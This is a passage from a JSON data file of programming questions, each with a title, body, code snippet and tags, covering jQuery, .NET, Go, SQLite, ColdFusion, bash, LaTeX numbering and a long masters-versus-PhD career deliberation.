member): Invalid request. Clipboard is empty or \ncontains data which may not be
pasted here. \nat Microsoft.Office.Interop.PowerPoint.Shapes.Paste()\n\nIs the
problem with any sort of permissions again on clipboard? If yes, how can I grant
appropriate permissions?\nI need to copy the exact chart and I am just using
example from MSDN website. Please help! \n", "", "asp.net com interop clipboard
office"], "5945046": ["Click of arrows navigates multiple videos using YOUTUBE
iframe", "I have my video set up with the video loading and you can click images
underneath to navigate through other videos. I used this solution Click Loads
multiple videos using YOUTUBE Iframe\nSeen on this
fiddle:\nhttp://jsfiddle.net/Y9j7R/5/\nI want to be able to navigate through these
videos also with prev/next arrows. Any help is appreciated. Also, is the solution I
used the best way to do this, I couldn't find anything else. Thanks\n", "", "html5
iframe html5-video youtube-api"], "2407955": ["Display entire list upon entering a
jQuery autocomplete textbox", "I am using the jQuery autocomplete plugin. Is there
a way that when a user enters a textbox (that is wired up to have autocomplete) the
list appears with the top alphabetical items? Some sort of trigger?\njQuery Code\n\
n$('.someTextbox').autocomplete({ source: function (request, response)
{ $.ajax({ url: serviceUrl +
\"/AddDocumentLinesService.svc/GetLineTypes\",
contentType: \"application/json; charset=utf-8\", dataType: \"json\",
cache: false, data: { maxRows: 10,
textStartsWith: request.term }, success: function (data) {
response($.map(data, function (item) { return {
label: item.LineTypeCode + ' - (' + item.Description + ')',
value: item.LineTypeCode } })); },
error: function (XMLHttpRequest, textStatus, errorThrown)
{ alert(textStatus); } }); }});\n\n\nI would
like it so that the second the user enters the '$('.someTextbox')' textbox the list
appears.\n", "", "jquery autocomplete jquery-autocomplete"], "2127507": ["Error :
Undefined symbols for architecture x86_64 in Xcode 4.3.2?", "I have made c++
library in which i am using Xcerces-c library. Now i am using this c++ library in
my cocoa application. so now i am getting below error\nUndefined symbols for
architecture x86_64:\n \"xercesc_2_8::XMLUni::fgXercescDefaultLocale\", referenced
from:\n RMLInfoset::initialise() in libDemoStatic.a(RMLInfoset.o)\
n \"xercesc_2_8::XMLPlatformUtils::Initialize(char const*, char const*,
xercesc_2_8::PanicHandler*, xercesc_2_8::MemoryManager*, bool)\", referenced from:\
n RMLInfoset::initialise() in libDemoStatic.a(RMLInfoset.o)\nld: symbol(s) not
found for architecture x86_64\nclang: error: linker command failed with exit code 1
(use -v to see invocation)\nPlease help me..\n", "", "xcode4"], "2969765": ["Who's
Calling my HttpServletRequest?", "I have a jsp containing a jquery post to a
servlet on my tomcat server which creates a . I would like to ensure that only my
jsp's calls to my servlet are processed and any requests originating from a source
other than my jsp are ignored. \nIs there a guaranteed way to see what is the
referring page calling my server? I have read that using can be spoofed so I know
I can't rely on that. \n", "HttpServletRequest", "java jquery jsp servlets web-
security"], "3285491": ["\"Upload Multiple Files\" link is not available for blog
post. How to enable it?", "I have blog where people can share their stories with
pictures and documents. Sometimes they have to put 10 documents in a single blog
posts. Right now, my upload file pop-up window for the blog post doesn't have
a \"Upload Multiple Files... \" link. How can I enable it?\n", "", "2010
sharepoint-enterprise file-upload"], "5027970": ["Need An Event To Fire After
Leaving
A Grid Control Filter DevExpress", "Is there an event that fires after leaving a
cell in a grid controls row filter?\nThe first row of my grid is a filter row, when
I type something in the cell of and column in the filter row then select a row I
want an event to fire.\nWhat is happening is I have a lot of code in the changed
event, but when I use the filter then select the first row the event does not
fire. If I select anything but the first first row returned the event fires and
everything is fine, but I need to capture an event after you type something in a
filter cell and select the first row in the grid.\n", "gridView1s", "devexpress"],
"3975395": ["Errors in the ScriptResource.axd always end with the same query
string", "I get a few errors in my logs every day with the ScriptResource.axd\n\nI
have done quite a bit of research and managed to reduce the of times this error is
occuring. However I have noticed that the query string always ends the same, from
the &\"t=\" onwards.\n\n(URL shortened for readability, and it's not indexed by
search engines)\nIs this significant, just a coincidence or is it meant to be that
way?\n", "at System.Web.Handlers.ScriptResourceHandler.Throw404()\nat
System.Web.Handlers.ScriptResourceHandler.ProcessRequest(HttpContext context)\nat
System.Web.Handlers.ScriptResourceHandler.System.Web.IHttpHandler.ProcessRequest(Ht
tpContext context)\nat
System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExe
cutionStep.Execute()\nat System.Web.HttpApplication.ExecuteStep(IExecutionStep
step, Boolean& completedSynchronously)\n", "asp.net asp.net-ajax"], "2809170":
["SQLite Insert Values If Value Does Not Exist", "How do you avoid adding duplicate
entries in SQLite when inserting values?\nRight now when I insert, it is adding
duplicates.\n", "", "sql sqlite insert"], "4806184": ["How do I change application
fonts in Outlook?", "I'm trying to customize the look of Outlook, and am running
into some problems getting fonts set how I like. If it matters, I'm using Outlook
2010 on Windows 7.\nHere's what I've got so far:\n\nDefault email editor font - \
nNavigation Pane font - \nFolder email list (like Inbox or a folder) - \n\nThis
only applies to a single folder.\nHow can I apply this globally?\n\nOutlook Today -
???\n\nHow to change the fonts, or anything, here?\n\n\nAlso, why is this so
convoluted? Shouldn't it all be under one Options or Settings panel? (I am hoping
someone points me to a menu that I've missed.)\nUPDATE: Is there really no way to
comprehensively control the fonts and styles of Outlook? It's been around forever
and this has not come up, even for accessibility concerns? The only things i can
see not changing are email and documents from other people.\n",
"File/Options/Mail/Stationery and Fonts", "microsoft-outlook fonts microsoft-
outlook-2010 customization"], "3511939": ["How to programmatically capture email?
(like posterous)", "I'd like to add a piece of functionality to an app that behaves
similar to Posterous; in other words, a user would send an email to [email protected].
A script would then pick up the email and do something with it. It would also need
some sort of authentication, though I think this question answers most of that.\
nWould I just set up a mail account and then access it via IMAP? Or is there a
better way? Would there be a recommended mail server to use for something like
this? \nThe app itself is in Rails, though this script can be in just about
anything, I'm comfortable with .NET, python, ruby, or a couple others, though
ideally it'd have to easily run on linux.\n", "", "email email-integration"],
"5202255": ["Certain JavaScript doesn't work in IE9 but there is no JS error", "I'm
doing some maintenance work on somebody else's site and there's an IE 9 problem.
They're using what appears to be a Lightbox to an image gallery. When you click on
a certain image on the page, the Lightbox appears, but in IE 9, the Lightbox
doesn't show up at all. There's no error or anything - it just silently fails - so
I'm kind of at a loss as to how to troubleshoot.\nI'm not the best at these kinds
of problems. Can someone point me in the right direction?\nHere's a link to what
I'm working on: http://www.aquilacommercial.com/wlproperties/view/1300-Guadalupe\
n", "", "javascript lightbox"], "2998570": ["Multi User web conference", "what are
the best solutions for online web conference! I need to develop an application with
online video conference( Multiple people be able to communicate). what is the
simplest way to add online conferencing to my web application? are there any
opensource Components or is there any simple way to use webRTC with multiple users?
\nthank you. \n", "", "video open-source components webrtc conference"], "2390913":
["How to match the following strings using Python Regex?", "Using Python Regex, I
was wondering \n\nhow to match the patterns\n and\n\nhow to replace \nwith , and\n
and .\n\nFor example: \n is converted to \n to \nThanks and regards!\n",
"(\"Exercises...)", "python regex"], "17635": ["Is developing WPF Applications
worth it or is WPF a dying Aid", "Doing some research i found that apparently WPF's
future is not all that bright.\n1) With this in mind - is it worth still developing
WPF applications, if not what are the alternatives to developing RICH user-
interfaces?\n2) If it is the case that WPF is going down hill fast, how does one go
about developing applications which are still supported in the next 2-3 years....
Will .Net get a new visual presentation layer, which will support XAML, thus
allowing WPF applications to still function well.\n3) Is JavaScript and HTML 5
capable of delivering the same rich presentation?\nThanks\nAiden\n", "",
"javascript wpf html5 gui user-interface"], "3346558": ["Using JSON.NET, how do I
serialize these inherited members?", "I have the following:\n\nI cannot alter .
When I go to serialize to Json using JsonNet I'll do something like this:\n\
nObviously it will not serialize . If I go:\n\nIt will correctly serialize the
value, is there some serializer setting I can use to tell it to include ?\nEdit: I
should add that right now I'm creating a property with only get to accomplish this,
i.e. \n\n", "public class MyClass : SuperClass { \n [JsonProperty]\n public
virtual string Id { get; set; }\n}\n\npublic abstract class SuperClass { \n public
int GetHashCode() {\n //do things here\n }\n}\n", "c# json.net"], "632560":
["MVVM framework recommendations for windows phone 7 development", "Can anyone
recommend a good and light framework for\n mvvm development on windows phone 7? a
list of pros n cons would be useful\ncHeers\n", "", "c# .net silverlight mvvm
phone"], "1145505": ["Asymptote and LyX", "Is the program Asymptote even compatible
with LyX. If so, has anyone experienced any bugs? I am finding the best way to
import diagrams into LyX. \n", "", "lyx"], "5987486": ["Apache 301 redirect issue",
"I'm having an issue with a 301 redirect.\nWhat I'm trying to do is change on of my
'clean urls' to a different 'clean url'.\n\nOld rewrite rule :\n\nNew rewrite rules
(which does not work) :\n\nI'm getting a 403 forbidden page. It's trying to access
the new rewrite as a directory (I have directory listings disabled).\nAny ideas how
to fix this?\n", "Old : www.domain.com/more-information/\nNew :
www.domain.com/information/\n", "apache redirect"], "1514053": ["RPC Framework in
C++ utilizing ZeroMQ", "I need to write a client-server application in C++ using
ZeroMQ push-pull socket pattern. The client has to make RPC calls to the functions
specified in the server interface. I wonder if there is an open source and
commercially usable library/framework for this purpose primarily in C++. I made
some googling and there seem to be things written in python but I prefer something
in C++ that comes handy with ZeroMQ if possible. Any suggestion/guidance is
appreciated. Thanks.\n", "", "c++ client-server rpc zeromq"], "4479281": ["Masters
vs. PhD - long", "I'm 21 years old and a first year master's computer science
student. Whether or not to continue with my PhD has been plaguing me for the past
few months. I can't stop thinking about it and am extremely torn on the issue. I
have read http://www.cs.unc.edu/~azuma/hitch4.html and many, many other masters vs
phd articles on the web. Unfortunately, I have not yet come to a conclusion.\nI was
hoping that I could post my ideas about the issue on here in hopes to 1) get some
extra insight on the issue and 2) make sure that I am correct in my assumptions.
Hopefully having people who have experience in the respective fields can tell me if
I am wrong so I don't make my decision based on false ideas. \nOkay, to get this
topic out of the way - money. Money isn't the most important thing to me, but it is
still important. It's always been a goal of mine to make 6 figures, but I realize
that will probably take me a long time with either path. According to most online
salary calculating sites, the average starting salary for a software engineer is
~60-70k. The PhD program here is 5 years, so that's about 300k I am missing out on
by not going into the workforce with a masters. I have only ever had ~1k at one
time in my life so 300k is something I can't even really accurately imagine. I know
that I wouldn't have at once obviously, but just to know I would be earning that is
kinda crazy to me. I feel like I would be living quite comfortably by the time I'm
30 years old (but risk being too content too soon). I would definitely love to have
at least a few years of my 20s to spend with that kind of money before I have a
family to spend it all on. I haven't grown up very financially stable so it would
be so nice to just spend some money\u2026get a nice car, buy a new guitar or two,
eat some good food, and just be financially comfortable. I have always felt like I
deserved to make
good money in my life, even as a kid growing up, and I just want to have it be a
reality. I know that either path I take will make good money by the time I'm ~40-45
years old, but I guess I'm just sick of not making money and am getting impatient
about it.\nHowever, a big idea pushing me towards a PhD is that I feel the masters
path would give me a feeling of selling out if I have the capability to solve real
questions in the computer science world. (pretty straight-forward - not much to
elaborate on, but this is a big deal)\nNow onto other aspects of the decision. \nI
originally got into computer science because of programming. I started in high
school and knew very soon that it was what I wanted to do for a career. I feel like
getting a masters and being a software engineer in the industry gives me much more
time to program in my career. In research, I feel like I would spend more time
reading, writing, trying to get grant money, etc than I would coding. \nA guy I
work with in the lab just recently published a paper. He showed it to me and I was
shocked by it. The first two pages was littered with equations and formulas. Then
the next page or so was followed by more equations and formulas that he derived
from the previous ones. That was his work - breaking down and creating all of these
formulas for robotic arm movement. And whenever I read computer science papers,
they all seem to follow this pattern. I always pictured myself coding all day long\
u2026not proving equations and things of that nature. I know that's only one part
of computer science research, but that part bores me.\nA couple cons on each side -
\nPhd - I don't really enjoy writing or feel like I'm that great at technical
writing. Whenever I'm in groups to make something, I'm always the one who does the
large majority of the work and then give it to my team members to write up a
report. Presenting is different though - I don't mind presenting at all as long as
I have a good grasp on what I am presenting. But writing papers seems like such a
chore to me. And because of this, the \"publish or perish\" phrase really turns me
off from research. \nAnother bad thing - I feel like if I am doing research, most
of it would be done alone. I work best in small groups. I like to have at least one
person to bounce ideas off of when I am brainstorming. The idea of being a part of
some small elite group to build things sounds ideal to me. So being able to work in
small groups for the majority of my career is a definite plus. I don't feel like I
can get this doing research.\nMasters - I read a lot online that most people come
in as engineers and eventually move into management positions. As of now, I don't
see myself wanting to be a part of management. Lets say my company wanted to make
some new product or system - I would get much more pride, enjoyment, and overall
satisfaction to say \"I made this\" rather than \"I managed a group of people that
made this.\" I want to be a big part of the development process. I want to make
things. \nI think it would be great to be more specialized than other people. I
would rather know everything about something than something about everything. I
always have been that way - was a great pitcher during my baseball years, but not
so good at everything else, great at certain classes in school, but not so good at
others, etc. To think that my career would be the same way sounds okay to me.
Getting a PhD would point me in this direction. It would be great to be some guy
who is someone that people look towards and come to ask for help because of being
such an important contributor to a very specific field, such as artificial neural
networks or robotic haptic perception. From what I gather about the software
industry, being specialized can be a very bad thing because of the speed of the new
technology. I \nWhen it comes to being employed, I have pretty conservative views.
I don't want to change companies every 5 years. Maybe this is something everyone
wishes, but I would love to just be an important person in one company for 10+
(maybe 20-25+ if I'm lucky!) years if the working conditions were acceptable. I
feel like that is more possible as a PhD though, being a professor or researcher.
The more I read about people in the software industry, the more it seems like most
software engineers bounce from company to company at rapid paces. Some even work
like a hired gun from project to project which is NOT what I want AT ALL. But
finding a place to make great and important software would be great if that
actually happens in the real world.\nI'm a very competitive person. I thrive on
competition. I don't really know why, but I have always been that way even as a kid
growing up. Competition always gave me a reason to practice that little extra every
night, always push my limits, etc. It seems to me like there is no competition in
the research world. It seems like everyone is very relaxed as long as research is
being conducted. The only competition is if someone is researching the same thing
as you and its whoever can finish and publish first (but everyone seems to careful
to check that circumstance). The only noticeable competition to me is just with
yourself and your own discipline. I like the idea that in the industry, there is
real competition between companies to put out the best product or be put out of
business. I feel like this would constantly be pushing me to be better at what I
do. \nOne thing that is really pushing me towards a PhD is the lifetime of the
things you make. I feel like if you make something truly innovative in the
industry\u2026just some really great new application or system\u2026there is a
shelf-life of about 5-10 years before someone just does it faster and more
efficiently. But with research work, you could create an idea or algorithm that
last decades. For instance, the A* search algorithm was described in 1968 and is
still widely used today. That is amazing to me. In the words of Palahniuk, \"The
goal isn't to live forever, its to create something that will.\"\nOver anything, I
just want to do something that matters. I want my work to help and progress
society. Seriously, if I'm stuck programming GUIs for the next 40 years\u2026I
might shoot myself in the face. But then again, I hate the idea that less than 1%
of the population will come into contact with my work and even less understand its
importance. \nSo if anything I have said is false then please inform me. If you
think I come off as a masters or PhD, inform me. If you want to give me some extra
insight or add on to any point I made, please do. Thank you so much to anyone for
any help. \n", "", "computer-science grad-school phd"], "3289556": ["Pass through
Authentication - IIS and dotNet", "Sorry to repeat a question that I have seen
posted many times before. But they don't seem to answer my circumstances. Or the
articles are for previous versions of IIS and IE\nI have trying to create a landing
page where a user is redirected to an Intranet. I would like users who are part of
the domain to be passed straight through to our Intranet with their Windows
username (Single sign on). However I would also like the users who do not have a
user name to be passed to a login page.\nThe problems seems to be when Enabling
Anonyomous Access on IIS. You can allow access through to the IIS but can not
detect the username and vice versa.\nI have setup a solution which does something
similar to this. However when a user who is not part of the domain accesses the
site then they have to click cancel to the dialogue box (Windows login). They are
then redirected to the 402 page which is a login page\nDoes anyone know how to stop
this dialogue box being displayed? If I can get rid of the dialogue box then this
would solve my problem. \nI have looked a loads of solutions which none of them
have the desired
effect:\n\nhttp://mvolo.com/blogs/serverside/archive/2008/02/11/IIS-7.0-
Two_2D00_Level-Authentication-with-Forms-Authentication-and-Windows-
Authentication.aspx\nhttps://community.altiusconsulting.com/blogs/
konstantinshapkin/archive/2009/09/22/asp-net-mixed-authentication.aspx\n\n(These
two are the most suited match for my problem - but don't see to provide the single
page and filter the user to the correct place)\nAny help would be greatly
Appreciated. Let me know as well if I am asking for the impossible (I have been
looking for an answer for days now...) I seem to be hacking the iis server to do
something it doesn't want to do...\nI have also tried windows and forms
authentication bother together which doesn't seem to work on both IIS 6.0 and 7.0.\
n", "", "asp.net iis authentication single-sign-on"], "2774461": ["Alias class
method as global function", "Is it possible to alias a class method as a global
function? \nI have a class that acts as a wrapper around the gettext functions in
PHP. I have a function called that deals with translations.\nI would like to be
able to call it as from anywhere in my code without having to do it via an
instantiated object () as that seems quite unwieldy.\nI thought about using
namespaces to give the object an alias:\n\nAlthough this is a better improvement: .
it is still not as need as just having to do .\nAre there anyways to alias as just
across the whole application?\n", "_t()", "php methods alias"], "828402": ["Get
browser width and height append divs jQuery", "I'm trying to get the browser width
and height and append two different DIV's to two different positions using jQuery.\
nDIV ONE should be absolute positioned, 40px from the left and 40px from the bottom
of the browser window whilst DIV TWO should be 40px from the right and 40px from
the bottom, no matter what device is looking at the webpage (so must work on iPad,
iPhone's etc.). \nI also have content (images, child divs and text) sitting within
both div's but I just
haven't a clue how to approach this as I'm useless with jQuery.\nCould anyone help
me out with this?\n", "", "jquery css browser append browser-width"], "5980253":
["Go: JSON value not parsed?", "I have very simple test:
http://play.golang.org/p/wY4sN9AUky. Config parsed from JSON, first string value
parsed OK, but second parsed to empty string, but it is not.\n\n", "type Config
struct {\n Address string \"address\"\n Debug bool \"debug\"\n
DbUrl string \"dburl\"\n GoogleApiKey string \"google_api_key\"\n}\n\
nfunc (cfg *Config) read(json_code string) {\n if e :=
json.Unmarshal([]byte(json_code), cfg); e != nil {\n log.Printf(\"ERROR JSON
decode: %v\", e)\n }\n}\n\nfunc main() {\n var config Config\n
config.read(`{\n \"address\": \"10.0.0.2:8080\",\n \"debug\": true,\n \"dburl\":
\"localhost\",\n \"google_api_key\": \"the-key\"\n}`)\n log.Printf(\"api key
%s\", config.GoogleApiKey) // <- empty string. why?\n log.Printf(\"address
%v\", config.Address)\n}\n", "json go"], "2390912": ["Convert Dictionary<string,
string> to CSV File. Keys as Row 1 and Values as row value for the columns", "I
have a C# Dictionary which I create by reading multiple data sources. The
Dictionary contains key value pairs where the value collection of a key is a comma
seperated string value.\nfor example:\n\nI want the final csv file to look like
this:\n\nHow do I achieve this?\n", "Dictionary<string, string> d = new
Dictionary<string, string>();\n d.Add(\"cat\", \"2,2\");\n
d.Add(\"dog\", \"10, A\");\n d.Add(\"llama\", \"A,B\");\n
d.Add(\"iguana\", \"-2,-3\");\n", "c# csv"], "608408": ["Linq DataContext - Where
does it go in a class?", "I'm still new to LINQ and am having some issues in
knowing where to put a DataContext in a Class.\nHere's what I've tried:\n\nBut I'm
having issues of the result caching(?) - see this issue: Weird caching issue with
ASP.net/Linq\nThen, I tried putting the DataContext in each of the methods in the
class:\n\nBut then I was getting a \u201cDataContext accessed after Dispose\u201d
error in my application.\nSo, the only other way that I've seen this done is this
way:\n\nBut it seems that this isn't the most efficient way. Perhaps I'm using Linq
incorrectly (I'm a self taught ASP.net'er), but can someone enlighten me on what
the best way to move forward?\n", "public class Student\n{\n private static
LinqClassesDataContext db = new LinqClassesDataContext();\n public static
Profile GetProfile(int uID)\n {\n var profile = (from p in db.Profiles\n
where p.uID == uID\n select p).FirstOrDefault();\n
return profile;\n }\n}\n", "asp.net linq"], "2815894": ["Issue with layout once
I enable Site Collection Publishing Feature", "I currently have enabled the MOSS
Enterprise publishing infrastructure feature on an existing site collection that
was just a collaboration team site without publishing. \nWhen I enable, the
horizontal scroll bar is need to see the complete contents that formerly appeared
without issue using the collaboration portal without publishing enabled. When I
deactivate the feature we are back to normal. \nWhat is causing my layout to do
this? Do I now have to republish pages? I do want to go ahead and utilishing the
publishing infrastructure going forward. \n", "", "publishing-site sharepoint-
enterprise publishing-page"], "1188428": ["Wrong subsections numbering", "I have a
weird problem. My subsections are numbered like this:\n\nChapter 1: Subsection
1.0.1 Subsection 1.0.2 Subsection 1.0.3\nChapter 2: Subsection 2.0.4 Subsection
2.0.5\n...\nChapter X: Subsection X.0.\n\nI have no idea how to start fixing this
error. The only warning I get is:\n\nbut I doubt it has anything to do with the
problem. \nAppreciate any ideas.\n", "Chapter1.tex(1): Underfull \\vbox (badness
10000) has occurred while \\output is activepdfTeX warning (ext4): destination
with the same identifier (name{page.1}) has been already used, duplicate
ignored\nChapter1.tex(26): destination with the same identifier (name{page.2}) has
been already used, duplicate ignored\n", "sectioning numbering"], "1885099": ["How
to run a c program in bash script and give it some values?", "I want to run my
program in C with bash script, also, I want my bash script to pass some values to
my program in C. This is my C code (very simple, it reads as input math operations,
for example: 2 + 3, saves it to file, and thats all):\n\nThen, I have my bash
script, I would like it to run my program in C and give it 9 math operations: 1+2,
3+4, ... 9+10. I did it like this:\n\nbut theres a problem it doesnt work as I want
it to. Please, help - only with this bash script, my C program works just great.\
n", "#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\
n int howMany = 0, i = 0;\n float num1, num2;\n char sign;\n\n FILE
*fp;\n if((fp=fopen(\"operations.txt\", \"w\"))==NULL)\n {\n exit(-
1);\n }\n\n printf(\"How many math operations would you like to pass?\\
n> \");\n scanf(\"%d\", &howMany);\n\n for(i=0; i<howMany; i++)\n {\n
printf(\"Pass %d operations like this: {num1 sign num2}:\\n> \", i+1);\n
scanf(\"%f %c %f\", &num1, &sign, &num2);\n\n fprintf(fp, \"%f \", num1);\n
fprintf(fp, \"%c \", sign);\n fprintf(fp, \"%f\", num2);\n if(i <
howMany-1)\n fprintf(fp, \"\\n\");\n }\n\n fclose(fp);\n return
0;\n}\n", "c bash parameters"], "4772836": ["Should I accept to write unsecure code
if my employer requests me to do so?", "My employer asked me to implement a feature
that would require storing passwords in clear text in a database (or using an
obscure encrypt/decrypt function stored in a binary, which is a bit better, but
also insecure).\nI replied that I was willing to implement such a feature, provided
that customers were acknowledged of security implications when using it. \nWhen
discussing this problem with colleagues, someone told me that, as a software
engineer, we are personally responsible (in the legal sense) for security problems
that we introduce in our products. I looked into my contract, but did not found
anything related to a similar case.\nFrom a legal point of view, should I refuse to
implement such a feature?\nIs it true that my employer could take me to court if a
customer experiences damage due to this feature, even if he was aware of security
concerns as well?\n\nEDIT: I understand this question can only be answered reliably
from a lawyer. The same is true for licensing questions: people here give their
understanding and their experience, sometimes after having consulted a lawyer, with
no guarantee it applies in another jurisdiction. But licensing is explicitly
accepted as a topic here, see What kind of questions can I ask here?. I believe
other programmers may have the same issue, and other may have been confronted to
this situation before, and may have consulted a lawyer for that.\n", "", "security
legal"], "5051868": ["Concurrency and scoping issues when CFM is included from
within a CFC", "I am placing a component in my application scope so that it is
shared across all requests and it includes a a cfm template:\n\nThe template that
is being included simply creates an array and checks the array length is what it
should be, if not it writes to the file:\n\nIf I then run a load across it (100
concurrent threads) I get the following items appearing in my file...\n\nNote I'm
using ColdFusion 9.0.1.274733 ontop of Java 1.7.0_09. I've tested Railo on the same
JRE and it works fine.\n\nAdditional The following also causes a problem, changing
the variable to a struct and adding a random item in the scope that is not
referenced anywhere...\n\nWhich includes a template, very similar to the first,
that looks like this...\n\nIf you remove the item in the scope it works fine. If
you dump and in the template, everything is where you would expect it to be.\n\
n(Update from comments)\nI've since raised this issue as a bug #3352462 \n",
"<cfcomponent output=\"false\">\n\n <cffunction name=\"run\" output=\"false\"
returntype=\"void\">\n\n <cfset var tmp = false/>\n\n <cftry>\n
<cfinclude template=\"inc.cfm\"/>\n <cfcatch>\n <cffile
action=\"append\"\n file=\"#ExpandPath(\"error.log\")#\"\n
output=\"ERROR: #cfcatch.message#\"/>\n </cfcatch>\n </cftry>\n\n
</cffunction>\n\n</cfcomponent>\n", "coldfusion coldfusion-9 cfc"], "1860603":
["LINQ to XML - avoid duplicate entries", "XML structure:\n\n\nI don't want to
insert the duplicate attributes to the xml file by following linq to xml query\n\nI
am trying to just add a new employee with out any duplicates,but my code adds
duplicates still.\nCan some one look at my query and let me know where am I missing
the logic ?\n", "<Emp>\n<Employee username=\"John\"/> \n<Employee
username=\"Jason\"/>\n</Emp>\n", "c# linq-to-xml"], "3289555": ["MONO 3 - 403
error", "im running mono 3.0 via fastcgi...\nmy htaccess is like this:\n\nmono-
cgi:\n\nmono-fcgi:\n!/\n\nand im getting this issue 404 not found server error...
and there\u00b4s no log, nothing...\nwut did i do wrong?\ni follow these steps
http://www.mono-project.com/CGI\nexactly one by one...\nanother question is, is
there any way to test if my \"/opt/mono-3.0.2/bin/fastcgi-mono-server4\" is working
fine?\ntake a look pls: http://www.vamola.net/net/test.aspx\ntks and best
reggards!\n", "Action mono-cgi /home/vamola/public_html/cgi-bin/mono-cgi\
nAddHandler mono-cgi .aspx .asmx .ashx .ascx .asax .axd .config .cs\n", ".net linux
mono fastcgi centos5"], "2744142": ["dynamically binding an event within a
usercontrol", "I am trying to bind a click event to a button
within a usercontrol at runtime. The code I have written works form a plan old
webform but the event is just not binding with in the control.\nHere's my code.
First the page:\n\nWith code behind:\n\nAnd the control is simply:\n\nwith its code
behind :\n\nWhen I run the app the myEvent from inside the control is never hit but
myevent on the webform is hit when I click its button.\nCan anyone tell me how I
can bind the user controls button dynamically from with in the user control?\n", "<
%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"Default.aspx.cs\"
Inherits=\"myApp._Default\" %>\n<%@ Register TagPrefix=\"uc\"
TagName=\"UserControl\" Src=\"~/UserControlWithButton.ascx\" %> \n<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> \n<html
xmlns=\"http://www.w3.org/1999/xhtml\">\n<head runat=\"server\">\n
<title></title>\n</head>\n<body>\n <form id=\"form1\" runat=\"server\">\n
<div>\n <asp:Button ID=\"Button1\" runat=\"server\" Text=\"Button\" />\n
<uc:UserControl ID=\"userControl\" runat=\"server\" />\n </div>\n </form>\
n</body>\n</html>\n", "asp.net"], "2235201": ["How do I uninstall a Windows service
if the files does not exist anymore?", "How do I uninstall a .NET Windows Service,
if the service files does not exists anymore?\nI installed a .NET Windows Service
using InstallUtil. I have since deleted the files but forgot to run\n\nfirst. So
the service is still listed in the Services MMC.\nDo I have to go into the
registry? Or is there a better way?\n", " InstallUtil /u\n", "windows windows-
services installer"], "3062415": ["WebBrowser, flash and Vista", "I'm developing a
win app, I'm using a WebBrowser control because a html editor was needed and we
found a good one for asp.net. The problem is that when I put a swf file it just
shows a small white box, and this only happens in win Vista, in XP or 7
everything's alright.\nWhen I try to open the page created with the html editor (in
IE7 on vista) the yellow box in the top appears and I think is because of IE7
configuration.\nAny light on this one?\nThanks in advance for the help.\nAriel.\n",
"", "c# visual-studio-2008 windows-vista webbrowser-control .net-3.5"], "2224287":
["Download images from media library to computer in BULK?", "All I want is to
download all images from the media library to my computer. I don't want to then use
them in another site. I uploaded them from a camera card while traveling, and then
it was stolen. These are now the only copies, and I would like them on my computer
now that I'm home. I don't know how to use PHP very well.\nWhat seems like the most
logical solution is for there to be an option under BULK ACTIONS to \"Download.\"
The only option currently listed is to \"Delete Permanently.\" I feel like
downloading a site's media content is an option that should have been made
available from the start of WP.\nCan I get it with FTP? From what I read WP doesn't
allow FTP. Can someone give me a simple guide to utilizing a PHP script to collect
the files?\n", "", "php images ftp"], "5994151": ["Studies on breakdown of various
costs associated with a Software project", "I am looking for links and advice on
studies done on the breakdown of costs associated with Software development.\nIn
particular I am looking on what percentage of effort is testing vs programming, and
how it changed with team sizes, duration of project and similar factors. \n", "",
"testing pricing case-studies"], "1923742": ["Not repeating markers in google maps
API V3 (JS)", "is it possible to not let the markers repeat horizontally, since I
only want the marker to be show on the map, and I am not repeating my map.\nAs you
can see here, it is very anoying:\nhttp://lsres.com/playerdb/test2.php\nI currently
initialize my map this way:\n\nThanks in advance!\n", " var map;\n var
mapTypeOptions = {\n getTileUrl: function(coord, zoom) { if (coord.y < 0 ||
coord.y >= 1 << zoom || coord.x < 0 || coord.x >= 1 << zoom){ return
\"sam/map/samap_a.jpg\"; } return
\"sam/map/samap_\"+zoom+\"_\"+coord.x+\"_\"+coord.y+\".jpg\"; },\n tileSize: new
google.maps.Size(256, 256),\n maxZoom: 2,\n minZoom: 1,\n name: \"Map\",\n
opacity: 1.0,\n isPng: false,\n alt: \"Map\"\n }; \n\n var satTypeOptions
= { \n getTileUrl: function(coord, zoom) { if (coord.y < 0 || coord.y >= 1 <<
zoom || coord.x < 0 || coord.x >= 1 << zoom){ return \"sam/map/samap_a.jpg\"; }
return \"sam/sat/samap_\"+zoom+\"_\"+coord.x+\"_\"+coord.y+\".jpg\"; },\n
tileSize: new google.maps.Size(256, 256),\n maxZoom: 2,\n minZoom: 1,\n
name: \"Satelite\"\n };\n var mapMapType = new
google.maps.ImageMapType(mapTypeOptions);\n var satMapType = new
google.maps.ImageMapType(satTypeOptions);\n\n function initialize() {\n var
myLatlng = new google.maps.LatLng(0, 0);\n var myOptions = {\n center:
myLatlng,\n zoom: 1,\n streetViewControl: false,\n panControl:
false,\n zoomControl: false,\n scaleControl: false,\n
mapTypeControlOptions: {\n mapTypeIds: [\"map\", \"sat\"]\n }\n };\n
map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\n
map.mapTypes.set('map', mapMapType);\n map.mapTypes.set('sat', satMapType); \
n map.setMapTypeId('map');\n\n }\n", "javascript google-maps-api-3 google-maps-
markers"], "1849879": ["Shorten My Objective-C Code Using Blocks", "This is from a
category that I'm using to modify UIView. The code works, but in the first method
(setFrameHeight) I'm using a block and in the second method (setFrameWidth) I'm
not. Is there any way to use blocks more efficiently in this example?\n\nThe answer
may be that blocks are not appropriate for such short methods, or something. The
syntax sure seems funky.\n", "typedef CGRect (^modifyFrameBlock)(CGRect);\n\n-
(void) modifyFrame:(modifyFrameBlock) block {\n self.frame = block(self.frame);\
n}\n\n- (void) setFrameWidth:(CGFloat)newWidth {\n modifyFrameBlock b = ^CGRect
(CGRect frame) { \n frame.size.width = newWidth;\n return frame; \n
}; \n [self modifyFrame:b];\n}\n\n- (void) setFrameHeight:
